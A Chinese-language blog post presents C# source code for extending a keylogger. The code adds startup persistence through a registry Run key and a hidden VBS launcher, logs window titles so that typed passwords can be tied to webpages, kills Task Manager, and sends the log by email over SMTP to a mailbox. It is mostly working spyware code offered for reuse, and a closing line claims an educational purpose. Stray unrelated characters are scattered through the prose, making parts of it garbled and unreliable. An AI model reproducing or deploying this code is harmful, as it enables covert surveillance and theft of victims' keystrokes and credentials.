前言
本keylogger是在 Email-keylogger基礎(chǔ)上進(jìn)行的二次開發(fā)。
新增加的功能有
- win10,win7系統(tǒng)下實(shí)現(xiàn)開機(jī)自啟動(dòng)
- 實(shí)時(shí)記錄當(dāng)前用戶開啟的程序和窗口文字
若有什么不足之處乔遮,還請(qǐng)?zhí)岢鼋ㄗh捺癞,附上這個(gè) APP 的 Github 地址 Tom-Keylogger 歡迎大家 :heart: star 和 fork.
本文的主要內(nèi)容
- 窗口句柄記錄宏邮,按鍵記錄,email效果演示
- win10,win7系統(tǒng)下實(shí)現(xiàn)開機(jī)自啟動(dòng)實(shí)現(xiàn)
- 實(shí)時(shí)記錄當(dāng)前用戶開啟的程序和窗口文字
- 如何成功實(shí)現(xiàn)發(fā)送txt文件到郵箱
1.窗口句柄記錄啥么,按鍵記錄 效果演示:
2.email記錄效果演示
2. win10,win7系統(tǒng)下實(shí)現(xiàn)開機(jī)啟動(dòng)實(shí)現(xiàn):
(1)win7下實(shí)現(xiàn)開機(jī)啟動(dòng)
public static void Start()
{
// MessageBox.Show("設(shè)置開機(jī)自啟動(dòng)渊季,需要修改注冊(cè)表", "提示");
string path = Application.ExecutablePath;
RegistryKey rk = Registry.LocalMachine;//讀取 Windows 注冊(cè)表基項(xiàng) HKEY_LOCAL_MACHINE
RegistryKey rk2 = rk.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run");
rk2.SetValue("JcShutdown", path);// exe 加入開機(jī)啟動(dòng):)
rk2.Close();
//MessageBox.Show("Added To Started Up Successfully :) ");
}
- 代碼很簡(jiǎn)單栖榨,只是將啟動(dòng)的項(xiàng)目名稱靡挥、文件位置添加到啟動(dòng)項(xiàng)即可,在win7下成功實(shí)現(xiàn)蜈抓。win10下打開任務(wù)管理器中的啟動(dòng)項(xiàng)目可以發(fā)現(xiàn)該程序启绰,但是開機(jī)后程序并沒有
運(yùn)行,這就牽扯到了第二種方法沟使。
(2)win10下實(shí)現(xiàn)開機(jī)啟動(dòng)
public static void startup()
{
//Try to copy keylogger in some folders
string source = Application.ExecutablePath.ToString();//當(dāng)前可執(zhí)行文件的路徑
Console.WriteLine(source);
string destination = Environment.GetFolderPath(Environment.SpecialFolder.Startup);//開機(jī)啟動(dòng)區(qū) 路徑
Console.WriteLine(destination);
destination = System.IO.Path.Combine(destination, "kl2.exe");// 將兩個(gè)路徑合二為一
try
{
System.IO.File.Copy(source, destination, true);// 把當(dāng)前文件 復(fù)制到 開機(jī)啟動(dòng)區(qū)去
source = destination;
}
catch
{
Console.WriteLine("No authorization to copy file or other error.");
}
}
- 首先我寫了一個(gè)startup()函數(shù)用于將當(dāng)前的exe文件拷貝到StartUP文件夾
public static void CopyVbs()
{
string destination1 = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
string destination = System.IO.Path.Combine(destination1, "AutoStart.vbs");
if (!System.IO.File.Exists(destination))
{
StreamWriter sw = new StreamWriter(destination);
sw.WriteLine("Set shell =Wscript.createobject(\"WScript.Shell\") ");
sw.WriteLine("shell.Run \"kl2.exe\",0,False");
sw.Close();
File.SetAttributes(destination, File.GetAttributes(destination) | FileAttributes.Hidden);
}
}
接著我寫了一個(gè)函數(shù)委可,用于在StartUp文件夾下新建一個(gè)vbs文件,然后用StreamWriter 使得該vbs的內(nèi)容為運(yùn)行kl.exe
這樣腊嗡,當(dāng)開機(jī)時(shí)着倾,系統(tǒng)會(huì)自動(dòng)運(yùn)行腳本,腳本的內(nèi)容為運(yùn)行kl.exe燕少。(僅僅將kl.exe拷貝到StartUp文件夾是無法開機(jī)自啟動(dòng)的屈呕,本人親自試過)
3.實(shí)時(shí)記錄當(dāng)前用戶開啟的程序和窗口文字的實(shí)現(xiàn):
public static void GetActiveWindowTitle(object source, EventArgs e)
{
const int nChars = 256;
handle = GetForegroundWindow();
StringBuilder Buff = new StringBuilder(nChars);
GetWindowText(handle, Buff, nChars);
txt = Buff.ToString().ToCharArray();
string t = DateTime.Now.ToString("yyyy-MM-dd H:mm:ss");
if (!IsFileInUse(path))
{
// if (handle != handle1)
if(!CheckChar(txt1,txt))
{
StreamWriter ww = File.AppendText(Program.path);
ww.Write("\n");
ww.Write(t);
ww.Write(" ");
ww.WriteLine(Buff.ToString().ToCharArray());
ww.Close();
// handle1 = handle;
GiveChar(txt1,txt);
}
}
}
算法大概是這樣的
1.用GetForegroundWindow函數(shù) 得到當(dāng)前運(yùn)行在 最前排的程序的句柄handle
2.通過GetWindowText函數(shù)將handle轉(zhuǎn)換為StringBuilder
3.然后將StringBuilder轉(zhuǎn)換為CharArray
4.接著我寫了一個(gè)CheckChar函數(shù),用于防止句柄重復(fù)寫入棺亭。代碼如下
public static bool CheckChar(char[] a, char[] b)
{
int m = Math.Min(a.Length, b.Length);
for (int i = 0; i < m; i++)
{
if (a[i] != b[i])
{
return false;
}
}
return true;
}
5.最后則是將CharArray寫入文件,將CharArray賦值蟋软,用于下次對(duì)比镶摘。
(網(wǎng)上的其他方法是直接對(duì)比handle來防止重復(fù)寫入,這種方法是不可取的岳守。如:當(dāng)在Google Chrome中切換標(biāo)簽時(shí)凄敢,句柄并未發(fā)生變化,CharArray發(fā)生了變化
湿痢,這時(shí)程序就無法正確監(jiān)控用戶是在哪個(gè)網(wǎng)頁(yè)輸入了密碼涝缝。這算是我在做這個(gè)功能時(shí)遇到的一個(gè)很大的坑吧~~)
4.如何成功實(shí)現(xiàn)發(fā)送txt文件到郵箱
C#作為高級(jí)語言真的很方便實(shí)現(xiàn)網(wǎng)絡(luò)編程,直接用微軟封裝好的 System.Net.Mail 就足夠了
代碼如下
public static void OnTimedEvent(object source, EventArgs e)
{
Process[] ProcessList = Process.GetProcesses();//為每個(gè)進(jìn)程資源 創(chuàng)建組件
foreach (Process proc in ProcessList)
{
if (proc.MainWindowTitle.Contains("Taskmgr.exe"))
{
proc.Kill();//關(guān)閉任務(wù)管理器
}
}
//發(fā)送郵件
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); //create the message
msg.To.Add("**************");
msg.From = new MailAddress("***********", "********", System.Text.Encoding.UTF8);
string _ComputName = System.Net.Dns.GetHostName();
msg.Subject = _ComputName;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = "L";
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = false;
msg.Priority = MailPriority.High;//郵件優(yōu)先級(jí) 最高
SmtpClient client = new SmtpClient(); //Network Credentials for Gmail
client.Credentials = new System.Net.NetworkCredential("**********@hotmail.com", "************");
client.Port = 587;
client.Host = "smtp.office365.com";
client.EnableSsl = true;
Attachment data = new Attachment(Program.path);
msg.Attachments.Add(data);//添加 附件
try
{
client.Send(msg);
failed = 0;
}
catch
{
data.Dispose();//釋放掉 資源
failed = 1;
}
data.Dispose();
//if (failed == 0)
// File.WriteAllText(Program.path, ""); //如果發(fā)送成功 則 將txt清空 防止發(fā)送相同數(shù)據(jù)
failed = 0;
}
- 你只需要將代碼中的****** 替換為自己的賬號(hào)密碼即可
- 需要注意的是譬重,源程序中采用的smtp協(xié)議是gmail拒逮,本人親測(cè)后發(fā)現(xiàn)由于網(wǎng)絡(luò)原因無法實(shí)現(xiàn)按周期發(fā)送。
- 多次嘗試后臀规,發(fā)現(xiàn)只有hotmail可以滿足成功實(shí)現(xiàn)滩援。但是發(fā)件箱和收件箱必須同時(shí)開啟smtp和pop3協(xié)議。
結(jié)語
以上便是我寫這個(gè) APP 的具體實(shí)現(xiàn)思路塔嬉,以及踩過的一些坑玩徊,記錄下來租悄,給大家看看。
This tutorial is for educational purposes only, please do not use this for malicious purposes.
最后附上這個(gè) APP 的 Github 地址 Tom-Keylogger 歡迎大家 star 和 fork恩袱。
如果有什么想法或者建議泣棋,非常歡迎大家來討論。